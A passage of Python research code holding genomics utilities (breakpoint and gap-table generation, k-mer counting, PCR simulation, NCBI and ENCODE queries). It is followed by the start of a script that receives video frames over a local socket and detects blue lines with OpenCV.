open(infile, "r") as f: # lines = f.readlines() for line in f: # lines: # yield_file(infile) can be used instead if line.startswith(Chr + "\t"): tmp = line_to_list(line, "\t") breakpoint = tmp[1] breakpoint_list.append(int(breakpoint)) print(len(breakpoint_list), "breakpoints found...") for item in range(resolution, length + resolution, resolution): x_ax.append(item) print("Interval list:", len(x_ax), "at", resolution, "bases resolution") for interval in x_ax: count = 0 to_remove = [] for breakpoint in breakpoint_list: if breakpoint <= interval: count += 1 to_remove.append(breakpoint) y_ax.append(count) for item in to_remove: try: breakpoint_list.remove(item) except: print("Error", item) counter = 0 for idx, count_ in enumerate(y_ax): if count_ == 0: gap = x_ax[idx] gap_list.append((Chr, gap)) counter += 1 print("Found", counter, "gaps in chromosome", Chr, "\n") with open(outfile, "w") as f: f.write( "#Gap table at " + str(resolution) + " bases resolution based on " + infile + "\n" ) f.write("##chrom" + "\t" + "chromStart" + "\t" + "chromEnd" + "\n") for item in gap_list: line = ( "chr" + str(item[0]) + "\t" + str(item[1] - resolution) + "\t" + str(item[1]) ) f.write(line + "\n") # import time # start = time.time() # gen_gap_table() # print('Done in',time.time()-start,'seconds') ## Generate a gap table file # import time # start = time.time() # gen_gap_table(infile='/Users/amarcozzi/Desktop/current_brkps_DB/out_ALL.txt', outfile='/Users/amarcozzi/Desktop/current_brkps_DB/out_ALL_gap.txt', resolution=10000) # print('Done in',time.time()-start,'seconds') def gen_multiple_controls(real_dataset, how_many): """ Generates how_many control datasets. """ n = 0 while n < how_many: suffix = "_control_" + str(n) + ".txt" # real_dataset = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/raw/dataset_1b.txt' gen_control_dataset(real_dataset, suffix) n += 1 print(n, "datasets have been generated") # gen_multiple_controls('/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/raw/dataset_4.txt',1000) # ## Generate multiple controls of datasets found in a folder # folder = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/random' # for item in list_of_files(folder,'txt'): # gen_multiple_controls(item,1000) def gen_deletion_dataset_from_breaks(list_of_breaks, outfile, ID_already=False): """Genrates a proper deletion dataset file out of a list of breaks """ # Var names are not pythonic but I think it is better for readibility header = [ "##ID", "ChrA", "StartA", "EndA", "ChrB", "StartB", "EndB", "CnvType", "Orientation", ] ID_list = [] # to check if the ID is already present print("writing breakpoints to", outfile, "..........") with open(outfile, "w") as outfile: outfile.write(list_to_line(header, "\t") + "\n") for item in list_of_breaks: if ID_already == False: # the braks do not have an ID while True: # checks ID ID = gen_rnd_id(8) if ID not in ID_list: ID_list.append(ID) break ChrA = ChrB = item[0][3:] StartA = EndA = item[1] StartB = EndB = item[2] else: # the break do have an ID ID = item[0] # the ID is supposed to be the first entry ChrA = ChrB = item[1][3:] StartA = EndA = item[2] StartB = EndB = item[3] CnvType = "DELETION" Orientation = "TH" line = list_to_line( [ID, ChrA, StartA, EndA, ChrB, StartB, EndB, CnvType, Orientation], "\t" ) outfile.write(line + "\n") print("OK") # list_of_breaks = gen_rnd_breaks(how_many=100, chromosome='Y', min_distance=1000, max_distance=15000, GapTable_file='tables/gap.txt') # gen_deletion_dataset_from_breaks(list_of_breaks, 'test_deletion_dataset.txt') # ## Generate (m) RANDOM datasets of different length (n) # for m in range(1000): # for n in [100,1000,10000,100000,1000000]: # outfile = 'rnd_dataset_'+ str(n)+'_'+str(m)+'.txt' # breaks = list() # for chromosome in CHROMOSOMES: # breaks.extend(gen_rnd_breaks(how_many=500, chromosome=chromosome, min_distance=0, max_distance=n)) # gen_deletion_dataset_from_breaks(breaks, outfile) def gen_rnd_breaks( how_many=100, chromosome="Y", min_distance=1000, max_distance=15000, GapTable_file="tables/gap.txt", ): """Returns tuples containing 1)the chromosome, 2)first breakpoint, 3)second breakpoint Keeps only the points that do not appear in te gap table. gen_rnd_breaks(int, string, int, int, filepath) => [(chrX, int, int), ...] valid chromosomes inputs are "1" to "22" ; "Y" ; "X" The chromosome length is based on the build GRCh37/hg19.""" # CHR_LENGTHS is based on GRCh37 CHR_LENGTHS = { "1": 249250621, "2": 243199373, "3": 198022430, "4": 191154276, "5": 180915260, "6": 171115067, "7": 159138663, "8": 146364022, "9": 141213431, "10": 135534747, "11": 135006516, "12": 133851895, "13": 115169878, "14": 107349540, "15": 102531392, "16": 90354753, "17": 81195210, "18": 78077248, "19": 59128983, "20": 63025520, "21": 48129895, "22": 51304566, "X": 155270560, "Y": 59373566, } # Genrates a chromosome-specific gap list print("generating", how_many, "breakpoints in Chr", chromosome, "..........") with open(GapTable_file, "r") as infile: lines = infile.readlines() full_gap_list = [] chr_specific_gap = [] for line in lines: if "#" not in line: # skip comments full_gap_list.append(line_to_list(line, "\t")) for item in full_gap_list: if "chr" + chromosome in item: # Database/browser start coordinates differ by 1 base chr_specific_gap.append((item[2], item[3])) # Merge contiguous gaps merged_gaps = [] n = 0 left_tick = False while n < len(chr_specific_gap): if left_tick == False: left_tick = chr_specific_gap[n][0] try: if chr_specific_gap[n][1] == chr_specific_gap[n + 1][0]: n += 1 else: right_tick = chr_specific_gap[n][1] merged_gaps.append((left_tick, right_tick)) left_tick = False n += 1 except: n += 1 # Genrates breakpoint list list_of_breakpoints = [] while len(list_of_breakpoints) < how_many: try: start = random.randint(0, CHR_LENGTHS[chromosome]) except KeyError: if chromosome == "23": chromosome = "X" start = random.randint(0, CHR_LENGTHS[chromosome]) elif chromosome == "24": chromosome = "Y" start = random.randint(0, CHR_LENGTHS[chromosome]) else: print("ERROR: Wrong chromosome name!!") end = random.randint(start + min_distance, start + max_distance) are_points_ok = True # assumes that the points are ok for item in merged_gaps: # checks whether the points are ok for real if start < int(item[0]) or start > int(item[1]): if end < int(item[0]) or end > int(item[1]): pass else: are_points_ok = False else: are_points_ok = False if are_points_ok == True: list_of_breakpoints.append(("chr" + chromosome, start, end)) print("OK") return list_of_breakpoints # print(gen_rnd_breaks(how_many=100, chromosome='Y', min_distance=1000, max_distance=15000, GapTable_file='tables/gap.txt')) def gen_rnd_id(length): """Generates a random string made by uppercase ascii chars and digits""" chars = string.ascii_uppercase + string.digits return "".join(random.choice(chars) for char in range(length)) # print(gen_rnd_id(16)) # @profile def gen_rnd_single_break( how_many=100, chromosome="1", GapTable_file="/Users/amarcozzi/Desktop/All_breakpoints_HG19_gap_10k.txt", verbose=False, ): """Returns tuples containing 1)the chromosome, 2)the breakpoint Keeps only the points that do not appear in te gap table. gen_rnd_breaks(int, string, filepath) => [(chrX, int), ...] valid chromosomes inputs are "1" to "22" ; "Y" ; "X" The chromosome length is based on the build GRCh37/hg19. Prerequisites: The gap_list file is in the form: ##chrom chromStart chromEnd chr1 0 10000 chr1 30000 40000 chr1 40000 50000 chr1 50000 60000 """ if verbose == True: start_time = time.time() # CHR_LENGTHS is based on GRCh37 CHR_LENGTHS = { "1": 249250621, "2": 243199373, "3": 198022430, "4": 191154276, "5": 180915260, "6": 171115067, "7": 159138663, "8": 146364022, "9": 141213431, "10": 135534747, "11": 135006516, "12": 133851895, "13": 115169878, "14": 107349540, "15": 102531392, "16": 90354753, "17": 81195210, "18": 78077248, "19": 59128983, "20": 63025520, "21": 48129895, "22": 51304566, "X": 155270560, "Y": 59373566, } # Genrates a chromosome-specific gap list with open(GapTable_file, "r") as infile: lines = infile.readlines() full_gap_list = [] chr_specific_gap = [] for line in lines: if "#" not in line: # skip comments full_gap_list.append(line_to_list(line, "\t")) for item in full_gap_list: if "chr" + chromosome in item: chr_specific_gap.append((item[1], item[2])) # Merge contiguous gaps merged_gaps = merge_gaps(chr_specific_gap) # merged_gaps = [] # while len(chr_specific_gap) > 0: # try: # if chr_specific_gap[0][1] == chr_specific_gap[1][0]: # tmp = (chr_specific_gap[0][0],chr_specific_gap[1][1]) # chr_specific_gap.pop(0) # chr_specific_gap[0] = tmp # else: # merged_gaps.append(chr_specific_gap.pop(0)) # except: # merged_gaps.append(chr_specific_gap.pop(0)) # Genrates breakpoint list if verbose == True: print("generating", how_many, "breakpoints in Chr", chromosome) list_of_breakpoints = [] while len(list_of_breakpoints) < how_many: try: start = random.randint(0, CHR_LENGTHS[chromosome]) # if verbose == True: print(start) except KeyError: if chromosome == "23": chromosome = "X" start = random.randint(0, CHR_LENGTHS[chromosome]) elif chromosome == "24": chromosome = "Y" start = random.randint(0, CHR_LENGTHS[chromosome]) else: print("ERROR: Wrong chromosome name!!") # end = random.randint(start+min_distance, start+max_distance) are_points_ok = True # assumes that the points are ok for item in merged_gaps: # checks whether the points are ok for real if start <= int(item[0]) or start >= int(item[1]): pass else: are_points_ok = False if verbose == True: print(start, "is in a gap and will be discarded") if are_points_ok == True: list_of_breakpoints.append((chromosome, start)) if verbose == True: print( start, "is OK", len(list_of_breakpoints), "good breaks generated out of", how_many, ) if verbose == True: print( how_many, "breakpoint have been generated in chromosome", chromosome, "in", time.time() - start_time, "seconds", ) return list_of_breakpoints # gen_rnd_single_break(verbose=True) # ## Generate single breaks dataset # import time # start = time.time() # breaks_on_1 = gen_rnd_single_break(how_many=19147,verbose=False) # for item in breaks_on_1: # print(str(item[0])+'\t'+str(item[1])) # print('Done in', time.time()-start,'seconds..') # ## Generate a control file # list_brkps = gen_rnd_single_break(how_many=20873, chromosome='1', GapTable_file='/Users/amarcozzi/Desktop/current_brkps_DB/out_ALL_gap.txt', verbose=True) # with open('/Users/amarcozzi/Desktop/current_brkps_DB/out_chr1_control.txt','w') as f: # for item in list_brkps: # f.write(list_to_line(item,'\t')+'\n') # ## Generate multiple controls # import time # from threading import Thread # start_time = time.time() # threads = 0 # running_threads = 0 # max_simultaneous_threads = 20 # GapTable_file = '/Users/amarcozzi/Desktop/Projects/Anne_Project/current_brkps_DB/out_ALL_gap.txt' # chromosome = 'Y' # infile = '/Users/amarcozzi/Desktop/Projects/Anne_Project/current_brkps_DB/out_chr'+chromosome+'.txt' # how_many = 0 # for line in yield_file(infile): # if line.startswith(chromosome+'\t'): # how_many += 1 # print('found',how_many,'breakpoints in chromosome',chromosome) # while threads < 100: # while running_threads >= max_simultaneous_threads: # time.sleep(1) # running_threads += 1 # outfile = '/Users/amarcozzi/Desktop/Projects/Anne_Project/current_brkps_DB/controls/out_chr'+chromosome+'_control_'+str(threads)+'.txt' # print('thread', threads, '|', 'running threads:',running_threads) # Thread(target=gen_controls, args=(how_many,chromosome,GapTable_file,outfile)).start() # threads += 1 # print('Waiting for threads to finish...') # while running_threads > 0: # time.sleep(1) # end_time = time.time() # print('\nDone in',(end_time-start_time)/60,'minutes') def kmers_finder(sequence_dict, motif_length, min_repetition): """(dict, int, int) => OrderedDict(sorted(list)) Find all the motifs long 'motif_length' and repeated at least 'min_repetition' times. Return an OrderedDict having motif:repetition as key:value sorted by value. """ motif_dict = {} for _id, sequence in sequence_dict.items(): # populate a dictionary of motifs (motif_dict) for i in range(len(sequence) - motif_length + 1): motif = sequence[i : i + motif_length] if motif not in motif_dict: motif_dict[motif] = 1 else: motif_dict[motif] += 1 # remove from motif_dict all the motifs repeated less than 'repetition' times keys_to_remove = [ key for key, value in motif_dict.items() if value < min_repetition ] for key in keys_to_remove: del motif_dict[key] # Return a sorted dictionary return OrderedDict(sorted(motif_dict.items(), key=itemgetter(1), reverse=True)) def kmers_finder_with_mismatches( sequence, motif_length, max_mismatches, most_common=False ): """(str, int, int) => sorted(list) Find the most frequent k-mers with mismatches in a string. Input: A sequence and a pair of integers: motif_length (<=12) and max_mismatch (<= 3). Output: An OrderedDict containing all k-mers with up to d mismatches in string. Sample Input: ACGTTGCATGTCGCATGATGCATGAGAGCT 4 1 Sample Output: OrderedDict([('ATGC', 5), ('ATGT', 5), ('GATG', 5),...]) """ # check passed variables if not motif_length <= 12 and motif_length >= 1: raise ValueError( "motif_length must be between 0 and 12. {} was passed.".format(motif_length) ) if not max_mismatches <= 3 and max_mismatches >= 1: raise ValueError( "max_mismatch must be between 0 and 3. {} was passed.".format( max_mismatches ) ) motif_dict = {} for i in range(len(sequence) - motif_length + 1): motif = sequence[i : i + motif_length] if motif not in motif_dict: motif_dict[motif] = 1 else: motif_dict[motif] += 1 motif_dict_with_mismatches = {} for kmer in motif_dict: motif_dict_with_mismatches.update({kmer: []}) for other_kmer in motif_dict: mismatches = 0 for i in range(len(kmer)): if kmer[i] != other_kmer[i]: mismatches += 1 if mismatches <= max_mismatches: motif_dict_with_mismatches[kmer].append( [other_kmer, motif_dict[other_kmer]] ) tmp = {} for item in motif_dict_with_mismatches: count = 0 for motif in motif_dict_with_mismatches[item]: count += motif[-1] tmp.update({item: count}) result = OrderedDict(sorted(tmp.items(), key=itemgetter(1), reverse=True)) if most_common: commons = OrderedDict() _max = result.items()[0][1] for item in result: if result[item] == _max: commons.update({item: result[item]}) else: return commons return result def line_to_list(line, char): """Makes a list of string out of a line. Splits the word at char.""" # Allows for more customization compared with string.split() split_indexes = find(line, char) list_ = [] n = 0 for index in split_indexes: item = line[n:index].replace("\n", "").replace("\r", "") # cleans up the line if item != "": # skips empty 'cells' list_.append(item) n = index + 1 list_.append(line[n:].replace("\n", "").replace("\r", "")) # append the last item return list_ # print(line_to_list('Makes a list of string out of a line. Splits the word at char.', ' ')) def list_to_line(list_, char): """Makes a string out of a list of items""" # Allows for more customization compared with string.split() string = "" for item in list_: string += str(item) + char return string.rstrip(char) # Removes the last char # print(list_to_line(['prova', '1', '2', '3', 'prova'], '---')) def list_of_files(path, extension, recursive=False): """ Return a list of filepaths for each file into path with the target extension. If recursive, it will loop over subfolders as well. """ if not recursive: for file_path in glob.iglob(path + "/*." + extension): yield file_path else: for root, dirs, files in os.walk(path): for file_path in glob.iglob(root + "/*." + extension): yield file_path def merge_gaps(gap_list): """ Merges overlapping gaps in a gap list. The gap list is in the form: [('3','4'),('5','6'),('6','7'),('8','9'),('10','11'),('15','16'),('17','18'),('18','19')] Returns a new list containing the merged gaps: [('3','4'),('5','7'),('8','9'),('10','11'),('15','16'),('17','19')] """ merged_gaps = [] while len(gap_list) > 0: try: if int(gap_list[0][1]) >= int(gap_list[1][0]): tmp = (gap_list[0][0], gap_list[1][1]) gap_list.pop(0) gap_list[0] = tmp else: merged_gaps.append(gap_list.pop(0)) except: merged_gaps.append(gap_list.pop(0)) return merged_gaps # gap_list = [('3','4'),('5','6'),('6','7'),('8','9'),('10','11'),('15','16'),('17','18'),('18','19')] # expected = [('3','4'),('5','7'),('8','9'),('10','11'),('15','16'),('17','19')] # prova = merge_gaps(gap_list) # print(prova) # print(expected) def merge_sort(intervals): """ Merges and sorts the intervals in a list. It's an alternative of merge_gaps() that sort the list before merging. Should be faster but I haven't campared them yet. """ sorted_by_lower_bound = sorted(intervals, key=lambda tup: tup[0]) merged = [] for higher in sorted_by_lower_bound: if not merged: merged.append(higher) else: lower = merged[-1] # test for intersection between lower and higher: # we know via sorting that lower[0] <= higher[0] if higher[0] <= lower[1]: upper_bound = max(lower[1], higher[1]) merged[-1] = (lower[0], upper_bound) # replace by merged interval else: merged.append(higher) return merged def multi_threads_fusion_genes_annotation( folder_path, extension, max_simultaneous_threads ): """ Executes annotate_fusion_genes() for each dataset file in a folder. Each execution run on a different thread.""" global running_threads dataset_files = list_of_files(folder_path, extension) threads = 0 running_threads = 0 for file_ in dataset_files: while running_threads >= max_simultaneous_threads: time.sleep(1) threads += 1 running_threads += 1 print("thread", threads, "|", "running threads:", running_threads) Thread( target=annotate_fusion_genes, args=(file_,) ).start() # with multithreading # folder = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/public' # multi_threads_fusion_genes_annotation(folder, 'txt',50) def pandize_dataset(annotated_dataset, verbose=True): """ Prepares a dataset to be "pandas ready". Takes a file path as input. """ # Parse if verbose == True: message = "parsing " + annotated_dataset.split("/")[-1] spacer = (100 - len(message)) * "." print(message, spacer) dataset = pd.io.parsers.read_table( annotated_dataset, dtype={"ChrA": "str", "ChrB": "str"}, sep="\t", index_col=0 ) if verbose == True: print("OK") # Clean if verbose == True: message = "cleaning " + annotated_dataset.split("/")[-1] spacer = (100 - len(message)) * "." print(message, spacer) dataset = dataset.replace("In Frame", 1) dataset = dataset.replace("Not in Frame", 0) dataset = dataset.replace("In Phase", 1) dataset = dataset.replace("Not in Phase", 0) if verbose == True: print("OK") return dataset # pandize_dataset('test_data_annotated.txt') # pandize_dataset('/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/control_dataset_100-1000-150000_annotated.txt') def parse_blastXML(infile): """ Parses a blast outfile (XML). """ for blast_record in NCBIXML.parse(open(infile)): for alignment in blast_record.alignments: for hsp in alignment.hsps: print("*****Alignment****") print("sequence:", alignment.title) print("length:", alignment.length) print("e-value:", hsp.expect) print(hsp.query) print(hsp.match) print(hsp.sbjct) # to be tested def reverse(sequence): return ''.join(list(reversed(sequence))) def complement(sequence): d = { "A": "T", "a": "t", "T": "A", "t": "a", "C": "G", "c": "g", "G": "C", "g": "c", "N":"N", "n":"n" } r = "" for b in sequence.upper(): r += d[b] return r def get_mismatches(template, primer, maxerr, overlapped=False): error = "e<={}".format(maxerr) return regex.findall(f"({primer}){{{error}}}", template, overlapped=overlapped) def pcr(template, primer_F, primer_R, circular=False): if circular: ##works only with primers without 5' overhang i = template.upper().find(primer_F.upper()) template = template[i:] + template[:i] # Find primer_F, or the largest 3'part of it, in template for n in range(len(primer_F)): ix_F = [m.end() for m in re.finditer(primer_F[n:].upper(), template.upper())] if len(ix_F) == 1: # it's unique # print(ix_F) # print(primer_F[n:]) break n += 1 # print(ix_F) # Find primer_R, or the largest 5'part of it, in template rc_R = reverse(complement(primer_R)) for n in range(len(primer_R)): ix = [m.start() for m in re.finditer(rc_R[:n].upper(), template.upper())] if len(ix) == 1: # it's unique ix_R = ix[:] if len(ix) < 1: # it's the largest possible # print(ix_R) # print(rc_R[:n]) break n += 1 # Build the product return primer_F + template[ix_F[0] : ix_R[0]] + rc_R ##template = 'CTAGAGAGGGCCTATTTCCCATGATT--something--GCCAATTCTGCAGACAAATGGGGTACCCG' ##primer_F = 'GACAAATGGCTCTAGAGAGGGCCTATTTCCCATGATT' ##primer_R = 'TTATGTAACGGGTACCCCATTTGTCTGCAGAATTGGC' ##product = pcr(template,primer_F,primer_R) ##expected = 'GACAAATGGCTCTAGAGAGGGCCTATTTCCCATGATT--something--GCCAATTCTGCAGACAAATGGGGTACCCGTTACATAA' ##expected == result def pip_upgrade_all(executable=False): """ Upgrades all pip-installed packages. Requires a bash shell. """ if executable: print("upgrading pip...") call(f"{executable} -m pip install --upgrade pip", shell=True) call( f"{executable} -m pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 {executable} -m pip install -U", shell=True, ) print("done") else: # pip print("upgrading pip...") call("python -m pip install --upgrade pip", shell=True) call( "python -m pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 python -m pip install -U", shell=True, ) # pip2 print("upgrading pip2...") call("python2 -m pip install --upgrade pip", shell=True) call( "python2 -m pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 python2 -m pip install -U", shell=True, ) # pip3 print("upgrading pip3...") call("python3 -m pip install --upgrade pip", shell=True) call( "python3 -m pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 python3 -m pip install -U", shell=True, ) # pypy print("upgrading pypy-pip...") call("pypy -m pip install --upgrade pip", shell=True) call( "pypy -m pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pypy -m pip install -U", shell=True, ) # pypy3 print("upgrading pypy3-pip...") call("pypy3 -m pip install --upgrade pip", shell=True) call( "pypy3 -m pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pypy3 -m pip install -U", shell=True, ) def probability(p, n, k): """ Simple probability calculator. Calculates what is the probability that k events occur in n trials. Each event have p probability of occurring once. Example: What is the probability of having 3 Heads by flipping a coin 10 times? probability = prob(0.5,10,3) print(probability) => (15/128) = 0.1171875 """ p = float(p) n = float(n) k = float(k) C = math.factorial(n) / (math.factorial(k) * math.factorial(n - k)) probability = C * (p ** k) * (1 - p) ** (n - k) return probability # from math import factorial # print(probability(0.5,10,3)) # print(probability(0.5,1,1)) def process(real_dataset): """ Generates, annotates and sorts a controll dataset for the given real dataset. """ gen_control_dataset(real_dataset) control_filename = real_dataset[:-4] + "_control.txt" # annotate_fusion_genes(real_dataset) annotate_fusion_genes(control_filename) control_filename = control_filename[:-4] + "_annotated.txt" # dataset_filename = real_dataset[:-4]+'_annotated.txt' # sort_dataset(dataset_filename) sort_dataset(control_filename) print(real_dataset, "processed. All OK.") # process('/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/clinvarCnv-DeletionsOnly.txt') # folder = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/random' # for item in list_of_files(folder,'txt'): # process(item) def query_encode(chromosome, start, end): """ Queries ENCODE via http://promoter.bx.psu.edu/ENCODE/search_human.php Parses the output and returns a dictionary of CIS elements found and the relative location. """ ## Regex setup re1 = "(chr{})".format(chromosome) # The specific chromosome re2 = "(:)" # Any Single Character ':' re3 = "(\\d+)" # Integer re4 = "(-)" # Any Single Character '-' re5 = "(\\d+)" # Integer rg = re.compile(re1 + re2 + re3 + re4 + re5, re.IGNORECASE | re.DOTALL) ## Query ENCODE std_link = ( "http://promoter.bx.psu.edu/ENCODE/get_human_cis_region.php?assembly=hg19&" ) query = std_link + "chr=chr{}&start={}&end={}".format(chromosome, start, end) print(query) html_doc = urlopen(query) html_txt = BeautifulSoup(html_doc, "html.parser").get_text() data = html_txt.split("\n") ## Parse the output parsed = {} coordinates = [i for i, item_ in enumerate(data) if item_.strip() == "Coordinate"] elements = [data[i - 2].split(" ")[-1].replace(": ", "") for i in coordinates] blocks = [item for item in data if item[:3] == "chr"] # if len(elements) == len(blocks): i = 0 for item in elements: txt = blocks[i] m = rg.findall(txt) bins = ["".join(item) for item in m] parsed.update({item: bins}) i += 1 return parsed # cis_elements = query_encode(2,10000,20000) def run_perl(perl_script_file, input_perl_script): """ Run an external perl script and return its output """ return check_output(["perl", perl_script_file, input_perl_script]) # print(run_perl('FusionGenes_Annotation.pl', 'test_data.txt')) def run_py(code, interp="python3"): """Run an block of python code using the target interpreter.""" with open("tmp.py", "w") as f: for line in code.split("\n"): f.write(line + "\n") return check_output([interpr, "tmp.py"]) def run_pypy(code, interpr="pypy3"): """Run an block of python code with PyPy""" with open("tmp.py", "w") as f: for line in code.split("\n"): f.write(line + "\n") return check_output([interpr, "tmp.py"]) def sequence_from_gene(gene_name): # beta """ Download the nucleotide sequence from the gene_name. """ data = EnsemblRelease(75) Entrez.email = "a.marcozzi@umcutrecht.nl" # Always tell NCBI who you are NCBI_IDS = { "1": "NC_000001", "2": "NC_000002", "3": "NC_000003", "4": "NC_000004", "5": "NC_000005", "6": "NC_000006", "7": "NC_000007", "8": "NC_000008", "9": "NC_000009", "10": "NC_000010", "11": "NC_000011", "12": "NC_000012", "13": "NC_000013", "14": "NC_000014", "15": "NC_000015", "16": "NC_000016", "17": "NC_000017", "18": "NC_000018", "19": "NC_000019", "20": "NC_000020", "21": "NC_000021", "22": "NC_000022", "X": "NC_000023", "Y": "NC_000024", } gene_obj = data.genes_by_name(gene_name) target_chromosome = NCBI_IDS[gene_obj[0].contig] seq_start = int(gene_obj[0].start) seq_stop = int(gene_obj[0].end) strand = 1 if gene_obj[0].strand == "+" else 2 try: handle = Entrez.efetch( db="nucleotide", id=target_chromosome, rettype="fasta", strand=strand, # "1" for the plus strand and "2" for the minus strand. seq_start=seq_start, seq_stop=seq_stop, ) record = SeqIO.read(handle, "fasta") handle.close() sequence = str(record.seq) return sequence except ValueError: print("ValueError: no sequence found in NCBI") return False def sortby_chr(string): """ Helps to sort datasets grouped by ChrA/B. To use with sorted(). """ # since the ChrA/B value is a string, when sorting by chr may return ['1','10','11'...'2','20'...'3'...'X','Y'] # instead I want sorted() to return ['1','2',...'9','10','11'...'X','Y'] if string == "X": return 23 elif string == "Y": return 24 else: return int(string) # prova = ['1','10','11','9','2','20','3','X','Y'] # print('sorted()', sorted(prova)) # print('sortby_chr()', sorted(prova, key=sortby_chr)) def sort_dataset(dataset_file, overwrite=False): """ Sort a dataset by ChrA. It helps during plotting """ text = [] header_counter = 0 header = False print("Sorting...") with open(dataset_file, "r") as infile: # lines = infile.readlines() for line in infile: list_ = line_to_list(line, "\t") if line[:2] == "##": header = list_ header_counter += 1 else: text.append(list_) # checkpoint if header == False or header_counter > 1: print("Something is wrong with the header line...", header_counter, header) return None # sort by the second element of the list i.e. 'ChrA' text.sort(key=lambda x: sortby_chr(itemgetter(1)(x))) # Write output if overwrite == False: outfile = dataset_file[:-4] + "_sorted.txt" else: outfile = dataset_files with open(outfile, "w") as outfile: outfile.write(list_to_line(header, "\t") + "\n") for list_ in text: outfile.write(list_to_line(list_, "\t") + "\n") print("Done!") # sort_dataset('test_data.txt') # folder = '/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/public' # for item in list_of_files(folder, 'txt'): # sort_dataset(item) # sort_dataset('/home/amarcozz/Documents/Projects/Fusion Genes/Scripts/test_datasets/public/annotated/dgvMerged-DeletionsOnly_annotated.txt') def split_fasta_file(infile): # beta """ Split a fasta file containing multiple sequences into multiple files containing one sequence each. One sequence per file. """ flag = False length = 0 with open(infile, "r") as f: for line in f: if line.startswith(">"): if flag == False: flag = True outfile = "{}.txt".format(line[1:].strip()) print("writing {}".format(outfile)) lines = [line] else: with open(outfile, "w") as out: for _ in lines: out.write(_) print("{} bases written".format(length)) length = 0 outfile = "{}.txt".format(line[1:].strip()) print("writing {}".format(outfile)) lines = [line] else: lines.append(line) length += len(line.strip()) # Write last file with open(outfile, "w") as out: for _ in lines: out.write(_) print("{} bases written".format(length)) def substract_datasets(infile_1, infile_2, outfile, header=True): """ Takes two files containing tab delimited data, comapares them and return a file containing the data that is present only in infile_2 but not in infile_1. The variable by_column is an int that indicates which column to use as data reference for the comparison. """ header2 = False comment_line = ( "# dataset generated by substracting " + infile_1 + " to " + infile_2 + "\n" ) with open(infile_1) as infile_1: lines_1 = infile_1.readlines() with open(infile_2) as infile_2: lines_2 = infile_2.readlines() row_to_removes = [] for line in lines_1: if line[0] != "#": # skips comments if header == True: header2 = True # to use for the second file header = ( False ) # set back header to false since the first line will be skipped first_line = line pass else: item = line_to_list(line, "\t") row_to_removes.append(item) result_list = [] for line in lines_2: if line[0] != "#": # skips comments if header2 == True: header2 = ( False ) # set back header to false since the first line will be skipped pass else: item = line_to_list(line, "\t") if item not in row_to_removes: result_list.append(item) with open(outfile, "w") as outfile: outfile.write(comment_line) outfile.write(first_line) for item in result_list: outfile.write(list_to_line(item, "\t") + "\n") print("substraction of two datasets DONE") # substract_datasets('dataset_1_b.txt', 'dataset_1.txt', 'dataset_1-1b.txt', header=True) def yield_file(filepath): """ A simple generator that yield the lines of a file. Good to read large file without running out of memory. """ with open(filepath, "r") as f: for line in f: yield line # for line in yield_file('GRCh37_hg19_variants_2014-10-16.txt'): # print(line[:20]) def read_in_chunks(file_object, chunk_size=1024): """ Lazy function (generator) to read a file piece by piece. Default chunk size: 1k. """ while True: data = file_object.read(chunk_size) if not data: break yield data
blueline_detection.py
import time import pickle import socket import struct import cv2 import numpy as np from threading import Thread class VideoGet(): def __init__(self): self.HOST = '169.254.11.41' self._PORT = 8480 self.frame_data_send = "" def connect(self): while True: self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # self.s.settimeout(1) try: self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.s.bind((self.HOST, self._PORT)) self.connected = True self.msg = "Connection is Completed Video_Getter" self.s.listen(10) self.conn, self.addr = self.s.accept() self.connected = True break except socket.error as msg: self.msg = "Try to Connect" + str(msg) time.sleep(1) self.data = b"" self.payload_size = struct.calcsize(">L") def start(self): Thread(target=self.get, args=()).start() return self def get(self): self.connect() start = time.time() while True: if time.time() - start > 1: start = time.time() while len(self.data) < self.payload_size: self.data += self.conn.recv(4096) if self.data == b'': if self.connected: start = time.time() self.connected = False if not self.connected and time.time() > 1: self.connect() packed_msg_size = self.data[:self.payload_size] self.data = self.data[self.payload_size:] msg_size = struct.unpack(">L", packed_msg_size)[0] while len(self.data) < msg_size: self.data += self.conn.recv(4096) if self.data == b'': if self.connected: start = time.time() self.connected = False if not self.connected and time.time() > 1: self.connect() self.frame_data = self.data[:msg_size] self.frame_data_send = self.frame_data self.data = self.data[msg_size:] class LineDetect(): def __init__(self): self.lower_blue = np.array([90, 40, 40]) self.upper_blue = np.array([150, 255, 255]) self.length_in_cm = 0 self.len_final = 0 self.crack_type = "" self.init = True self.slopeArr = [] def regression_hor(self, mean, len_hor): add = 4.9362 * mean + 0.0202577 len_hor += len_hor * add return len_hor def regression_ver(self, mean, len_ver): add = 0.30194 - 0.00444151 * mean len_ver += len_ver * add return len_ver def start(self, cap): self.slopeArr = [] blur = cv2.GaussianBlur(cap, (5, 5), cv2.BORDER_DEFAULT) hsv = cv2.cvtColor(blur, cv2.COLOR_BGR2HSV) # Threshold the HSV image to get only red colors mask = cv2.inRange(hsv, self.lower_blue, self.upper_blue) edges = cv2.Canny(mask, 100, 200) lines = cv2.HoughLinesP(edges, 1, np.pi / 180, 30, maxLineGap=20) slope = 0 show_cm = False try: for line in lines: x1, y1, x2, y2 = line[0] if x1 != x2: slope = (y2 - y1) / (x2 - x1) slope = round(slope, 3) slope = abs(slope) if self.crack_type == "hor" and slope < 0.15: self.slopeArr.append(slope) elif self.crack_type == "ver" and slope > 10: self.slopeArr.append(slope) if self.crack_type == "ver" and slope > 30: show_cm = True elif self.crack_type == "hor" and slope > 1/30: show_cm = True slope_mean = np.mean(self.slopeArr) except: return 0 contours = cv2.findContours(mask, cv2.RETR_TREE, 